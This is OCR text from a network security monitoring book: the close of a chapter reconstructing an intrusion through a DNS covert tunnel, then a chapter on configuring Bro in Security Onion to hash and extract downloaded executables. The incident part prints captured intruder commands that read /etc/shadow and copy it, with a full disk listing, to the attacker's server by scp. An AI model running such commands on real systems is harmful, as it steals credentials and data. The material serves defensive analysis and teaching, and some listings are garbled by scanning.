SRC: ..., 20iiiienn core_channel write....)....GSFTPZWPIJXAREZEXEEALKFUBCUSRLPEK.
SRC: .

SRC: vt P A...464 bytes from 10.10.0.1: icmp_req=1 ttl=64 time=2.07 ms
SRC: .., 9evennnns core_channel write....)....MUNJGYKCWWYETWKFZOWTIVKVAQNLKNCQ.
SRC: .

SRC: v, 20, A...464 bytes from 10.10.0.1: icmp_req=2 ttl=64 time=1.15 ms
SRC: vttt 9uvvnnnnn core_channel _write....)....JLCWSBHPCCBTZFUVTIUYBYQVUOXEZPPF.
SRC: .

SRC: v.Quvvvvnnnnnn 2iiiiiiieen 464 bytes from 10.10.0.1: icmp_req=3 ttl=64 time=1.12 ms
SRC:

SRC: --- 10.10.0.1 ping statistics ---

SRC: 3 packets transmitted, 3 received, 0% packet loss, time 2003ms
SRC: rtt min/avg/max/mdev = 1.128/1.453/2.073/0.439 ms

Listing 11-26: Ping test for tunnel connectivity
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Envmerating the Victim

Now the intruder turns to enumerating the victim. He prints the output of
the /etc/shadow file, which contains password hashes. Listing 11-27 shows
part of this file.

SRC: root@intubu32:~# ......ooiiiiiiiiint, core_channel write....)....
LBTPOVHNRBVNFEXWLPWAAXXSYKEYJQMW.

DST: wov]eevnnennnnnn core_channel_write....)....76703429583552950498014447957238........ 200
..... 4cat /etc/shadow

DST: coeiiiinn...

SRC:

SRC: ..devvviinnnnn. core_channel_write....)....76703429583552950498014447957238. .. ccvuvuenen..
SRC: v, 2ottt 4cat /etc/shadow

SRC: root:!:15773:0:99999:7:::
SRC: daemon:*:15749:0:99999:7:::
SRC: bin:*:15749:0:99999:7:::
SRC: sys:*:15749:0:99999:7:::
SRC: sync:*:15749:0:99999:7:::
SRC: games:*:15749:0:99999:7:::
SRC: man:*:15749:0:99999:7:::
SRC: 1p:*:15749:0:99999:7:::

Listing 11-27: Contents of the /etc/shadow file

As shown in Listing 11-28, the intruder uses scp to copy the /etc/shadow
file to 10.10.0.1, the server on the other side of the Iodine covert channel.
He connects as user raybourque and copies the file to Ray’s home directory.
His password is Bruins. I like this guy. (Note that by using scp, the transfer is
encrypted within the DNS covert channel.)

SRC: v, 2000, @...4scp /etc/shadow raybourque@10.10.0.1:/home/raybourque/

DST: tiiSeviiveeennnn core_channel write....)....12979532812626493965961252667084........ P
..... 4Brulns

SRC: shadow 100% 1121 1.1KB/s  00:00

Listing 11-28: Copying the /etc/shadow file

The intruder next creates a recursive directory listing of the entire hard
drive and puts the contents in a file titled intubu32.ls-alR.txt, as shown in
Listing 11-29.

DST: tiviiiiiieennnnn core_channel_write....)....67917540968083609031577076644751........ 2....
«..(...41s -alR / > intubu32.ls-alR.txt

Listing 11-29: Creating a recursive directory listing of the hard drive
After creating the file, the intruder again uses scp to transfer it to his

server as user raybourque, as shown in Listing 11-30.
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SRC: it 2 4scp intubu32.1s-alR.txt raybourque@10.10.0.1:/home/raybourque
SRC: <32.1s-alR.txt raybourque@10.10.0.1:/home/raybourque

......................... /

SRC: teiiiiiii i core_channel _write....)....USSCEEVDBIGFIRWOSESCHCUWNSDAZFP3JS.

SRC: .

SRC: wiUeeveeeennns 2iiiiiiaann APasSWOTd:...eeeeereiiiiinnnnn core_channel write....)....
GUTYMDXFGXQWFPYSCFKMNPZTQEKYHWYC.

DST: tieSevvvvennnnn. core_channel _write....)....56606769242836968330355877691782........ 20,
..... 4Brulns

Listing 11-30: Transfer of hard drive file listing to intruder’s server

That’s the end of the transcript.

Summarizing Stage 2

In the second half of this intrusion, the intruder, still operating from
203.0.118.15, used stolen credentials to connect via SSH from 172.16.0.37
to 10.0.0.9. He copied a DNS covert tunnel tool to the second victim and
configured it to speak to a new intruder system at 203.0.113.8. The intruder
activated the covert tunnel, and we saw that it communicated via DNS
requests and replies. Within the covert tunnel, the intruder copied sensitive
data enumerated from the second victim, 10.0.0.9. Figure 11-18 summarizes
these actions.

1. Intruder pivots from Victim 1 to Victim 2.

NETWORK CONNECTION

Intruder 1 Victim 1
203.0.113.15 172.16.0.37

\
Victim 2
10.0.0.99
2. Intruder installs DNS covert tunnel tool and creates
channel to second intruder system (Intruder 2).
NETWORK CONNECTION
Intruder 2 B Victim 2
203.0.113.8 - 10.0.0.99
3. Within covert tunnel, intruder copies sensitive
data from Victim 2 to Intruder 2.
NETWORK CONNECTION
Intruder 2 B Victim 2
203.0.113.8 10.0.0.99

Figure 11-18: A summary of stage 2 of the server-side compromise
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Conclusion

Our review of this chapter’s example showed that the intruder was very
active on the original victim, 172.16.0.37, and used information gathered
from that system to pivot to 10.0.0.99. The initial review of NSM data out-
lined the broad story of the intrusion, but examining the command-and-
control channel helped fill in some blanks. Thanks to the NSM platform
capturing full packet data, the Vivian’s Pets CIRT knows what happened
to the two systems on its network.

This example of a client-side compromise began with an innocent
search on Twitter and concluded with two compromised machines and a
covert channel carrying sensitive information outside the company. Our
network-centric approach answered many questions about the course of the
intrusion, but it also showed that in some ways, the CIRT got lucky. If the
command-and-control channel between 203.0.113.15 and 172.16.0.37 had
been encrypted, the CIRT would not have learned critical details about
the intrusion. For that reason, it’s useful to have host-centric forensics and
investigation techniques ready if possible, but that’s a topic for someone
else’s book!

Speaking of Twitter, the analysts do have some information about
the source of the attack. Threat agents are humans who might make bad
choices. Defenders can sometimes capitalize on these bad choices to better
understand the threat and defend the network. In the case of this intrusion,
several hours after the covert channel died, the tweet shown in Figure 11-19
appeared. Pay attention to the bottom of the figure where the tweet’s text
appears.

W Twitter / Sesech - @callbs =

L C | Twistes, Inc. [US] hitps.//twitter.com/search/realtime?

1Al

Trends - Change

Jamie Patricaf Tyra Ranks & Charfie Shean &
o Follow o Follow oF Follow

Tweets

Y Ubuaz
B N ramauser created for demo pUpOses, My Owner is wiiting & ook

Jessica Alba
The &sofii & (hellog

Calibackpnsm ;: im
. [ g oul ihe healthcare updale. One of

Figure 11-19: Last tweet from Callbackpnsm
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This tweet is a combination of text and a picture. The tweet says
“@ubu32pnsm Thanks for checking out the healthcare update. One of
us is #winning. pic.twitter.com/mD4y6eliqF.” The picture, shown in Fig-
ure 11-19, appears to be a screen capture of an Ubuntu desktop; in fact, it
shows the victim user’s system. She is logged in to Twitter as user Ubu32pnsm.
Two Firefox browser tabs are open. The second tab shows part of the URL
for the phony healthcarenews website on 203.0.113.15. This intruder thinks
he’s a funny guy, but personalized messages like this could be his undoing.

In order to not get caught, attackers also need to practice sound opera-
tional security.
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EXTENDING SO

So far, we’ve been working with the default
installation of SO. This chapter introduces

a few ways to extend it. You just need to edit
a few configuration files and download some
external content to get more from your SO setup.

To move beyond the “stock” SO installation, we’ll look at three ways to
leverage additional functionality provided by the Bro suite:

e Use the MD5 hashes logged by Bro with the website VirusTotal or other
third-party analysis engines.

e Configure Bro to extract binaries from network traffic, so that you can
submit those artifacts to third-party analysis engines.

e Integrate external intelligence from Mandiant’s APT1 report with Bro
to generate alert data.

The chapter concludes with an example that shows how SO reports and
extracts the download of a malicious binary.
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Using Bro to Track Executables

When trying to defend an enterprise, CIRTs can benefit by knowing which
executables users are downloading over the network. Usually, these exe-
cutables are benign tools or packages that people need to do their jobs, but
sometimes they’re malicious software. Bro can help you to discover the sorts
of executables people are downloading in order to protect them from harm.

Hashing Downloaded Executables with Bro

By default, the version of Bro shipped with SO calculates an MDb5 hash (a
cryptographic representation of a file’s contents) for every executable down-
loaded via HTTP. These hash values can help us track the executables
downloaded by users. For example, Listing 12-1 shows how Bro tracks execut-
able downloads. The notice.log file records data about hashes that Bro gener-
ates when it sees executables transferred over HTTP.

2013-04-12T13:33:47+0000 mBNkJT1LBfa 192.168.2.108 49630 23.62.236.50 80
1 GET download.cdn.mozilla.net /pub/mozilla.org/firefox/releases/20.0.1/
win32/en-US/Firefox Setup 20.0.1.exe®  http://www.mozilla.org/en-US/products/download.
html?product=firefox-20.080s=win8lang=en-US  Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0)
Gecko/20100101 Firefox/19.0 0 21036128 200 (014 - -

- (empty) - -- application/x-dosexec®  1e39efe30b02fd96b10785b49e23913b®

Listing 12-1: Bro http.log entry for download of Firefox binary

You can see the download of Firefox Setup 20.0.1.exe @, a file of type
application/x-dosexec @, with the hash 1e39efe30b02fd96b10785b49e23913b ©.
By default, Bro reports when it hashes executables and writes an event to
the Bro notice.log file, as shown in Listing 12-2.

2013-04-12T13:34:01+0000 mBNkJT1LBfa 192.168.2.108 49630  23.62.236.50

80 tcp HTTP: :MD5@® 192.168.2.108 1e39efe30b02fd96b10785b49e23913b http://
download.cdn.mozilla.net/pub/mozilla.org/firefox/releases/20.0.1/win32/en-US/Firefox
Setup 20.0.1.exe® 1e39efe30b02fd96b10785b49e23913bO 192.168.2.108  23.62.236.50
80 - sov-etho-1 Notice::ACTION LOG 6 3600.000000 F

Listing 12-2: Bro notice.log entry for MD5 calculation

Here, you see the download of Firefox Setup 20.0.1.exe @, with Bro’s rec-
ognition that this is an HTTP and requires MD5 hashing ® and a match-
ing hash 1e39efe30b02fd96b10785b49e23913b ©. You can use third-party sources
with the hash to get more information about this download.

Submitting a Hash to VirusTotal

VirusTotal (http://www.virustotal.com/) is a popular online resource for
learning more about binaries. In addition to submitting actual files, users
can also submit hashes of binaries to VirusTotal to see if those hashes are
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present in the VirusTotal database. If a previous user has already uploaded
a binary with the same hash to VirusTotal, a search for that hash should
reveal what VirusTotal knows about the binary submitted earlier.

To see this functionality at work, we’ll submit the hash logged by Bro
from Listing 12-1, as shown in Figure 12-1.

v total

VirusTotal is a free service that analyzes suspicious files and URLs and facilitaies
the quick detection of viruses, worms, trojans, and all kinds of malware.

1e30efe30b02d98010785b49e23913b Enter Term

You may prefer to scan a file or scan a URL or find out more about searching

Figure 12-1: Submitting the observed MD5 hash to VirusTotal

Within a few seconds, we see results like those shown in Figure 12-2.

2 total

SHA256: b7fce818551caldBab1c661a7f484a369cd610e452ff4e2a7b56393df909cc2

File name: Tz8.sfx.exe
Detection ratio: 0 /45 'r 0

Analysis date:  2013-04-17 15:28:15 UTC ( 3 hours, 8 minutes ago )

Wore detais

Analysis @ Additional information ¥ Comments 3 Votes

Figure 12-2: VirusTotal results for the submitted MD5 hash

VirusTotal has a match for this hash (notice the four angels), and no
antivirus engines have detected the binary as malicious, as shown in the
Detection Ratio field.

The Additional Information tab offers more data on the binaries that
VirusTotal has seen with the matching MD5 hash, as shown in Listing 12-3.

First seen by VirusTotal
2013-04-10 22:10:23 UTC ( 6 days, 20 hours ago )

Last seen by VirusTotal
2013-04-17 15:29:15 UTC ( 3 hours, 8 minutes ago )

File names (max. 25)
Firefox_Setup_20.0.1.exe
Firefox Setup 20.0.1.exe
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test.exe

7zS.sfx.exe

Firefox_Setup 20.0.1GB32.exe
TtfjHao4.exe.part
Firefox_Setup_20.0.1.exe
72S.sfx

file-5362262_exe
Firefox%20Setup%2020.0.1.exe

Listing 12-3: First seen, last seen, and filename information from VirusTotal

As highlighted in bold, names referencing Firefox setup (Firefox_
Setup_20.0.1.exe) are the same as the binary we observed in our Bro logs,
but others, like file-5362262_exe, are completely different.

This analysis is helpful, but not conclusive. It would be better to have
copies of the binaries themselves, not just their hashes. We could do more
analysis with the original artifacts.

Using Bro to Extract Binaries from Traffic

By default, Bro with SO logs MD5 hashes of binaries downloaded over
HTTP, but it does not extract the binaries and save them to disk. It’s easy
to configure Bro to take these actions, however, but we do need to be care-
ful not to overwhelm the sensor with the extracted binaries. To reduce that
potential problem, we’ll tell Bro to extract Windows executables downloaded
over HTTP and FTP only.

Configuring Bro to Extract Binaries from Traffic

Bro inspects traffic and generates logs based on the policy scripts that ship
with the default installation. Policy scripts are the ways analysts use the Bro
network programming language (a term popularized by Liam Randall) to tell
the Bro engine what to do with the traffic it sees.

Bro reports what it finds using logfiles and messages that it creates
using its notice framework. (You're encouraged to leave the default scripts
alone, and to make changes to the policy scripts found in the /opt/bro/share/
bro/site/ directory.)

To reconfigure Bro to extract Windows executables downloaded over
HTTP and FTP, we start by creating a place to store extracted content with
this command:

$ sudo mkdir -p /nsm/bro/extracted/http/ /nsm/bro/extracted/ftp/

Next, we create a copy of the local.bro policy script for safekeeping.

$ sudo cp /opt/bro/share/bro/site/local.bro /opt/bro/share/bro/site/local.bro.orig
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Now we edit the local.bro file. (I'm using the vi editor, but use any editor
you like, such as the Leafpad program bundled with SO.)

$ sudo vi /opt/bro/share/bro/site/local.bro

Listing 12-4 shows the content to add at the very bottom of the local.bro file.

# Extract EXEs
redef HTTP::extract file types += /application\/x-dosexec/;®
redef FTP::extract_file_types += /application\/x-dosexec/;®

# Extract files to /nsm/bro/extracted/
redef HTTP::extraction_prefix = "/nsm/bro/extracted/http/http-item";
redef FTP::extraction_prefix = "/nsm/bro/extracted/ftp/ftp-file";

Listing 12-4: Additions to the end of the local.bro file that enable Windows executable
extraction for HTTP and FTP

If you wanted Bro to extract executables from Simple Mail Transfer
Protocol (SMTP) as well, you could add more lines similar to those in
Listing 12-4, replacing HTTP with SMTP. Support for extracting binaries from
Internet Relay Chat (IRC) is possible using the same method. To extract
more than Windows executables, you could alter @ and @ so that the
application portions read as follows:

/application\/.*/;

Replacing x-dosexec with .* tells Bro to extract any application type it
recognizes. You should not run this sort of configuration in production
because you could overload your sensor as it tries to rebuild and write every-
thing Bro recognizes. Use /application\/.*/; only to process saved traces
with limited amounts of traffic.

Now that we’ve altered Bro’s local.bro policy script, let’s test our new
functionality.

Collecting Traffic to Test Bro

When adding new capabilities to Bro and your SO installation, you should
test the changes manually before committing them. Bro allows you to run
policy scripts and other functionality against saved traffic, and we’ll do this
to test its newly configured ability to extract binaries from packets.

To provide the traffic for this test, we will download the Windows SSH
client PuTTY via HTTP and FTP. The PuTTY website (http://www.chiark
.greenend.org.uk/~sgtatham/putty/download.html) provides links for download-
ing PuTTY via HTTP (http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)
and FTP (ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-latest/x86/putty
.exe), giving us ways to test the capabilities we added to Bro. To save the traf-
fic for the test, we will determine the IP addresses of the two servers hosting
putty.exevia HTTP (the.earth.li) and FTP (ftp.chiark.greenend.orguk), as shown
in Listing 12-5, using the Linux host command in a terminal window.
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$ host the.earth.li

the.earth.1i has address 46.43.34.31@

the.earth.1i has IPv6 address 2001:41c8:10:b1f:coff:ee:15:900d
the.earth.1i mail is handled by 10 mail.the.earth.li.

$ host ftp.chiark.greenend.org.uk

ftp.chiark.greenend.org.uk is an alias for service-name.chiark.greenend.org.
uk.

service-name.chiark.greenend.org.uk has address 212.13.197.229@
service-name.chiark.greenend.org.uk mail is handled by o .

Listing 12-5: Determining the IP addresses for HTTP and FTP download servers

Next, we run two instances of Tcpdump: one configured to log traffic
to and from the HTTP server at 46.43.34.31 @, and another to log traffic to
and from the FTP server at 212.13.197.229 @. Be sure to run the first com-
mand in one terminal, for the HTTP traffic:

$ sudo tcpdump -n -i etho -w http-putty.pcap -s 0 host 46.43.34.31

Run the second command in another terminal, for the FTP traffic:

$ sudo tcpdump -n -i etho -w ftp-putty.pcap -s 0 host 212.13.197.229

Now we visit the PuTTY download website, shown in Figure 12-3, and
download putty.exe via HT'TP and then FTP.

€& - C [ www.chiarkgreenend.org.uk/~sgtatham/putty/download.html %

Binaries

The latest release version (beta (0.62). This will generally be a version I think is reasonably likely to work
well. If you have a problem with the release version, it might be worth trying out the latest development
snapshot (below) to see if I've already fixed the bug, before reporting it to me.

For Windows on Intel x86
PuTTY: puity.exe {or by FTP) SA s SA si

Figure 12-3: PuTTY website download

Once the download is finished, stop each Tcpdump instance by press-
ing cTRL-C, and then use Capinfos to look at the metadata for each trace,
as shown in Listing 12-6.

$ capinfos putty-http.pcap putty-ftp.pcap

File name: putty-http.pcap

File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet

Packet size limit: file hdr: 65535 bytes

Number of packets: 509

File size: 521880 bytes
Data size: 513712 bytes
-- snip --
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File name: putty-ftp.pcap

File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet

Packet size limit: file hdr: 65535 bytes

Number of packets: 558

File size: 525649 bytes
Data size: 516697 bytes
-- snip --

Listing 12-6: Capinfos output for the HTTP and FTP traces

Testing Bro to Extract Binaries from HTTP Traffic

With the test traffic data ready, let’s run Bro against each trace to see what
logs it creates. Listing 12-7 runs Bro against the putty-http.pcap file @ and
tells Bro to reference our modified local.bro file ®. (Notice that I run these
commands in a directory called bro-http to separate the output from the sec-
ond test for FTP.)

$ sudo bro -r putty-http.pcap® /opt/bro/share/bro/site/local.bro®

WARNING: No Site::local nets have been defined. It's usually a good idea to
define your local networks.

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
line 99)

Listing 12-7: Running Bro against the saved HTTP traffic

We can now see which logs Bro generated. First, we’ll look at the contents
of the current working directory, as shown in Listing 12-8.

$ 1s -al

total 560

drwxrwxr-x 3 sov sov 4096 Apr 17 19:33 .

drwxr-xr-x 29 sov sov 4096 Apr 17 19:32 ..

-Iw-r--r-- 1 root root 280 Apr 17 19:33 capture_loss.log

-Iw-r--r-- 1 root root 763 Apr 17 19:33 conn.log
-Iw-r--r-- 1 root root 1376 Apr 17 19:33 http.log®
-Iw-r--r-- 1 root root 7888 Apr 17 19:33 loaded scripts.log
-IW-r--r-- 1 root root 938 Apr 17 19:33 notice.log
-Iw-r--r-- 1 root root 1128 Apr 17 19:33 notice policy.log
-Iw-r--r-- 1 root root 251 Apr 17 19:33 packet_filter.log
-IwW-r--r-- 1 root root 521880 Apr 17 17:53 putty-http.pcap
-Yw-r--r-- 1 root root 951 Apr 17 19:33 reporter.log
drwx------ 3 root root 4096 Apr 17 19:33 .state

Listing 12-8: Logs created by running Bro against the saved HTTP traffic

Now let’s examine the Attp.log file @ in more detail with the cat and
bro-cut commands in tandem, as shown in Listing 12-9. The -d flags
tells bro-cut to display a human-readable timestamp, and -C tells it to pre-
serve the file headers to show the fields that are present.
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$ cat http.log | bro-cut -d -C
#separator \x09

#set_separator ,

#tempty field (empty)
#unset_field -

#path  http

#open  2013-04-17-19-33-23

#fields ts uid id.orig _h id.orig p id.resp_h id.resp p trans_
depth method host uri referrer user_agent request_body len
response_body len status_code status_msg info_code info_msg filename
tags username password proxied mime_type md5 extraction_file

#itypes string string addr port addr port count  string string string string
string count count count string count string string table[enum] string string
table[string] string string file

2013-04-17T17:53:28+00000 cSb1GfCIILY® 192.168.2.108 53999  46.43.34.31

80 1 GET the.earth.li /~sgtatham/putty/latest/x86/putty.exe®  http://
www.chiark.greenend.org.uk/~sgtatham/putty/download.html Mozilla/5.0 (Windows NT 6.1; WOW64)
ApplelWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 O 300 3020
Found - - - (empty) - - - text/html - -
2013-04-17T17:53:28+00000 cSb1GFCIIL9® 192.168.2.108 53999  46.43.34.31

80 2 GET the.earth.1li /~sgtatham/putty/0.62/x86/putty.exe®@ http://
www.chiark.greenend.org.uk/~sgtatham/putty/download.html Mozilla/5.0 (Windows NT 6.1; WOW64)
AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 0 483328

2000 (0]¢ - (empty) - - - application/

x-dosexec  a3ccfdoaaob17fd23aa9fdod84b86c05® /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat®

#close 2013-04-17-19-33-23

Listing 12-9: Bro htip.log for HTTP transfer

The two log entries @ and @ show traffic over a single web connec-
tion, because Bro assigned the same tracking ID ® and @ to both records.
In the first record @, the web server replies with a 302 code @ that directed
the download from /~sgtatham/putty/latest/x86/putty.exe ® to /~sgtatham/
putty/0.62/x86/putty.exe @. In the second record @, the web server replies with
a 200 code O showing that it has the requested file. Finally, the second record
shows that Bro extracted putty.exe to a specific directory and file, /nsm/bro/
extracted/hitp/hitp-item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat ©. We
also have an MD5 hash for the file, a3ccfdoaaob17fd23aa9fdod84b86cos5 @.

Bro is processing this HTTP traffic as we expected.

Examining the Binary Extracted from HTTP

Now that we have indicators that Bro extracted a file from the HTTP traffic,
we can examine it on disk. Listing 12-10 shows the results of that analysis.
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$ 1s -al /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat

-IW-I--1-- 1 root root 483328@ Apr 17 19:33 /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat

$ file /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat

/nsm/bro/extracted/http/http-item 192.168.2.108:53999-46.43.34.31:80_resp_2.
dat: PE32 executable (GUI) Intel 80386, for MS Windows®

$ mdssum /nsm/bro/extracted/http/http-item_192.168.2.108:53999-46.43.34.31:80_
resp_2.dat

a3ccfdoaaob17fd23aa9fdod84b86c05® /nsm/bro/extracted/http/http-
item_192.168.2.108:53999-46.43.34.31:80_resp_2.dat

Listing 12-10: Examining the binary extracted from HTTP traffic

Here, we see that the extracted file is 483,328 bytes @, with file
type PE32 executable (GUI) Intel 80386, for MS Windows @ and a hash
(a3ccfdoaaob17fd23aa9fdod84b86co5 ®) that matches the values Bro
reported in Listing 12-9.

To confirm that the hash matches the values of the binary downloaded
to the Windows system, we look at the file properties, as shown in Figure 12-4.
I'used HashTab by Implbits (http://www.implbits.com/hashtab.aspx) to gener-
ate these hashes in the File Hashes tab of the Properties dialog.

fputty.enepmperlies | 2|

General | Compafbilty | File Hashes | Secury | Details | Previous Versions|

Name Hash Value

CRC32 EE7FBET2

MD5 A3CCFDOAADB17FD23AASFDODB4BEEC05

SHAA1 89C15274AD51B6FBD12FB59908316088C 1135307
Settings

Hash Comparison:

A3CCFDOAADB17FD23AAIFDODS4BBEC05

¢ MD5 Compare afile...

HashTab +5.0.0 :: @2010 Implbitz 5 oftware [http: A Amplbitz. com]

Figure 12-4: File properties of putty.exe showing the
same MD5 hash
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Testing Bro to Extract Binaries from FTP Traffic

As with our HTTP test, we can run Bro against the FTP example to see the
logs it creates. Listing 12-11 demonstrates running Bro against putty-fip.pcap @
and telling Bro to again reference our modified local.bro @ file. (Notice that
I run these commands in a directory called bro-ftp to keep the output sepa-
rate from the HTTP test results.)

$ sudo bro -r putty-ftp.pcap® /opt/bro/share/bro/site/local.bro®

WARNING: No Site::local _nets have been defined. It's usually a good idea to
define your local networks.

WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}-
{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro,
line 99)

Listing 12-11: Running Bro against the saved HTTP traffic

We can now see which logs Bro generated. First, we examine the con-
tents of the current working directory, as shown in Listing 12-12.

$ 1s -al

total 560

drwxrwxr-x 3 sov sov 4096 Apr 17 20:30 .

drwxr-xr-x 29 sov sov 4096 Apr 17 20:30 ..

-TW-r--r-- 1 root root 281 Apr 17 20:30 capture_loss.log

-TwW-r--1-- 1 root root 1531 Apr 17 20:30 conn.log
-Iw-r--r-- 1 root root 731 Apr 17 20:30 ftp.log®
-Tw-r--r-- 1 root root 7888 Apr 17 20:30 loaded_scripts.log
-TW-r--r-- 1 root root 1128 Apr 17 20:30 notice_policy.log
-Tw-r--1-- 1 root root 251 Apr 17 20:30 packet_filter.log
-TW-r--1-- 1 root root 525649 Apr 17 18:07 putty-ftp.pcap
-Iw-r--r-- 1 root root 951 Apr 17 20:30 reporter.log
drwx------ 3 root root 4096 Apr 17 20:30 .state

Listing 12-12: Logs created by running Bro against the saved FTP traffic

Let’s look at the ftp.log @®. Listing 12-13 shows the results of using the cat
and bro-cut commands in tandem.

$ cat ftp.log | bro-cut -d -C

#separator \x09
#set_separator ,

#tempty field (empty)
#unset_field -

#ipath  ftp

#open  2013-04-17-20-30-56

#fields ts uid id.orig h id.orig p id.resp_h id.resp p user
password command arg mime_type mime_desc file size reply code
reply msg tags extraction_file
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#types string string addr  port addr  port string string string string string
string count count string table[string] file

2013-04-17T18:06:59+0000® 3]GazzdNGme ® 192.168.2.108 54104 212.13.197.229
21 anonymous ©® chrome@example.com® RETR ftp://212.13.197.229/users/
sgtatham/putty-latest/x86/putty.exe® application/x-dosexec  MS-DOS executable, MZ for
MS-DOS® 86 226 Transfer complete® - /nsm/bro/extracted/ftp/ftp-

file 192.168.2.108:54106-212.13.197.229:38177_1.dat®

#close 2013-04-17-20-30-56

Listing 12-13: Bro ftp.log for FTP transfer

This one log entry at @ tracks a single FTP session, because Bro
assigns one tracking ID @ to the session. Here, we see the artifacts of
downloading a binary via Google Chrome. The username supplied is
anonymous ®, and the password is chrome@example.com @. We see that the
file retrieved, putty-latest/x86/putty.exe ©, is of type MS-DOS executable, MZ
for MS-D0S ®. We also see that the transfer completed successfully @ and
that Bro extracted the binary that it observed: /nsm/bro/extracted/ftp/
Jip-file_192.168.2.108:54106-212.13.197.229:38177_1.dat ®.

Examining the Binary Extracted from FTP

Now that we have indicators that Bro extracted a file from the FTP traffic,
we can examine it on disk. Listing 12-14 shows the results of that analysis.
In this example, we’ll only confirm that the MD5 hash matches what we
saw earlier.

$ md5sum /nsm/bro/extracted/ftp/ftp-file_192.168.2.108:54106-212.13.197.229:38177_1.dat
a3ccfdoaaob17fd23aa9fdod84b86c05@® /nsm/bro/extracted/ftp/ftp-
file 192.168.2.108:54106-212.13.197.229:38177_1.dat

Listing 12-14: Examining the binary extracted from FTP traffic

Notice that the MD5 hash @ matches the values listed in the HTTP
examples, Listing 12-10 and Figure 12-4.

Submitting a Hash and Binary to VirusTotal

Now that we have both the hash of a binary and the binary itself (recov-
ered from network traffic), we can submit them to VirusTotal for analysis.
Whereas in Figure 12-1 we submitted only a hash of a binary for analysis, in
this section, we’ll submit the hash and then the binary in order to compare
the results. In Figure 12-5, we submit the hash.

Figure 12-6 shows what VirusTotal knows about this hash.

The results of this analysis are a little mixed, with two antivirus engines
(in the Detection Ratio field) reporting the file associated with this hash as
malicious! We know this file is legitimate, however, because we downloaded
it from the publisher’s website. If we’re still suspicious, we could use the
cryptographic signatures published on the PuTTY download page to verify

Extending SO 273

www.it-ebooks.info


http://www.it-ebooks.info/

274

Chapter 12

that the file we downloaded is the file posted on the website, but that would
only confirm that someone with access to the private key posted a binary
signed by that key. (Trust only goes so far in the digital world.)

v total

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates
the quick detection of viruses, worms, trojans, and all kinds of malware.

a3ccfd0aalb7fd23aa9fd0dB4b86c05 Enter Term

You may prefer to scan a file or scan a URL or find out more about searching

Figure 12-5: Submitting the putty.exe hash to VirusTotal

2] total

SHA256: d4ffad559a1e22167933772d82c714cd4bbTa0e79511c2424e18bdb619d6 34 0'
File name: PuTTY <=
Detection ratio:  2/46 .f 27 . 89

Analysis date:  2013-04-17 18:0%:29 UTC ( 3 hours, 6 minutes ago )

Figure 12-6: VirusTotal results for the submitted MD5 hash

VirusTotal publishes other information along with antivirus results,
such as the output of running Mark Russinovich’s Sigcheck (http://technet
.microsoft.com/en-us/sysinternals/bb897441.aspx), which checks to confirm
that a file is digitally signed, as shown in Listing 12-15.

Sigcheck

publisher................: Simon Tatham
product.........ovvvvvee.t PUTTY suite

internal name............: PuTTY

copyright.......oovuvnnt, : Copyright (c) 1997-2011 Simon Tatham.
original name............: PuTTY

file version.............: Release 0.62
description..............: SSH, Telnet and Rlogin client

Listing 12-15: VirusTotal reports Sigcheck results.

Sigcheck’s results appear to confirm that the hash we submitted matches
a PuTTY binary uploaded by previous VirusTotal users.

We can also upload the binary Bro extracted for us, as shown in
Figure 12-7.
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2 total

VirusTotal is a free senvice that analyzes suspicious files and URLs and facilitates
the quick detection of viruses, worms, trojans, and all kinds of malware.

hitp-item_192.168.2.108%3A53999-46.43.34.31%3A80_resp | Choose File

Maximum file size: 64MB

By clicking "Scan itl, you consent to our Terms of Service and allow VirusTotal to
share this file with the security community. See our Privacy Policy for details.

You may prefer to scan a URL or search through the VirusTotal dataset

Figure 12-7: Submitting the binary extracted from HTTP traffic

VirusTotal knows about this binary, and it should: it’s the binary Bro
extracted, and we just saw that the hash for it was already known to VirusTotal.

This general approach shows a powerful way to extend Bro to extract
Windows binaries from HTTP and FTP traffic. However, the current instance
of Bro is running with the previous configuration files in memory. Unless
we restart Bro, it won’t know to apply the new local.bro configuration file to
the running configuration.

Restarting Bro

Until you restart Bro, or reboot the SO system, Bro will continue running
with the original local.bro script loaded. In order to benefit from Bro’s abil-
ity to extract Windows executables from network traffic, we need to have
Bro reread its local.bro script. To tell Bro to process the script, use the broctl
interface, as shown in Listing 12-16.

$ sudo broctl®

Welcome to BroControl 1.1

Type "help" for help.

[BroControl] > check®

manager is ok.
proxy is ok.

sov-etho-1 is ok.

[BroControl] > install®

removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ... done.
removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ... done.
creating policy directories ... done.

installing site policies ... done.

generating cluster-layout.bro ... done.

generating local-networks.bro ... done.
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generating broctl-config.bro ... done.

updating nodes ... done.
[BroControl] > restart®
stopping ...

stopping sov-etho-1 ...
stopping proxy ...
stopping manager .
starting ...

starting manager ...
starting proxy ...
starting sov-etho-1 ...

[BroControl] > exit®

Listing 12-16: Reconfiguring Bro using broctl

In Listing 12-16, broctl is started @ from a terminal that launches the
broctl interface and accepts commands. Next, we run the check command @
to determine if the configuration files Bro reads are formatted properly. If so,
Bro reports the status as ok, and we install them ®. Next, we restart Bro @,
and after seeing the components restart, we exit the broctl interface ©.

The last step is to confirm Bro’s status using the NSM scripts shipped
with SO, as shown in Listing 12-17. (You could do the same thing with the
sudo broctl status command.)

$ sudo nsm_sensor_ps-status --only-bro

Status: Bro

